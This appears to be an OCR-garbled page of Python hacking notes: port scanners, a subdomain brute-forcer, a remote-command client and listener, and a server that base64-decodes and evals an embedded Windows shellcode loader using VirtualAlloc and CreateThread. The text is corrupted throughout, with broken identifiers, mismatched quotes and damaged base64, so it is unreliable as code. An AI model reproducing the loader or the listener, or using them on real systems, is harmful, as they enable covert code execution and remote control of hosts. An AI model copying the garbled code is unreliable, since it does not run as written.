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#Socket ~ TN IEESL i 3341 & I A% Y

import socket

def port scan(ip,port):
s=socket.socket ()
try:
s.connect ( (ip, int (port)))
print (port+':open')
except Exception as e:
print (port+':close')
finally:

s.close ()

if name == "' main ':
# H 2 S 14 4
ip = '127.0.0.1"
ports='80,135,445,3389"
for port in ports.split(','):

port scan(ip, port)

import socket

def domain ip(url):
for a in open('dic.txt'):
urls=a.strip()+'.'+turl
try:
ip=socket.gethostbyname (urls)
print (urls+'|'+ip)
except Exception as e:

pass

if name == ' main ':
url='baidu.com'

domain ip(url)



#Socket- WG T- G ]s %N H
client.py

import socket, sys

ip=sys.argv[1l]
port=sys.argv[2]
sl=socket.socket ()

sl.connect ((ip,int (port)))

while True:
cmdline=input ('please input cmdline:"')
sl.send(cmdline.encode())
cmddata=sl.recv (1024) .decode ()

print (cmddata)

sl.close ()

server.py

import socket,os,ctypes,base64d

s=socket.socket ()
s.bind(('0.0.0.0',9999))
s.listen(5)

def zx(s):
sc = base6d.b64ddecode (s)

code="cnd4cGFnZSA9IGNOeXBlcy53aWbkbGwua2VybmVsMz IuVml ydHVhbEFsbG9

JKDAsIGx1bihzYyksIDB4MTAWMCwWgMHgOMCKKY3R5cGVzLndpbmRsbC5rZzXJuzZiwz

Mi5SdGxNb3Z1TWVtb3J5KHI3eHBhZ2UsIGNOeXBlcy5)jcmVhdGVEc3RyaWsnX2J172

mZlcihz¥yksIGxlbihzYykpCmhhbmRsZSA9IGNOeXBlcy53aWbkbGwua2VybmVsMz

TuQ3J1YXRIVGhyZWFkKDAsIDAsIHJ3eHBhZ2UsIDAsSIDAsIDApCmNOeXBlcy53aW5

kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChoYW5kbGUsICOXKQ=="
c=base64.bb64decode (code)

eval (c)

while 1:
sock,addr=s.accept ()
print (sock, addr)
while 1:
cmd=sock.recv(10241) .decode ()
print (cmd)
print (type (cmd) )



#Thread-Z 42— A & L« 4205 O 4
import socket
import threading

import queue

def port scan():
while not g.empty () :
ip = '127.0.0.1"
port = g.get ()
#print (port)
s = socket.socket ()
if s.connect ex((ip, port)) == O0:
print ("%d is open" S%port)
else:
#print ("$d is close" $%$port)
pass

s.close ()

if name == ' main ':
#4200 1 F3 4
g = queue.Queue ()
for port in range(l, 65536) :
g.put (port)
for i in range (30) :
t = threading.Thread(target=port scan)

t.start ()
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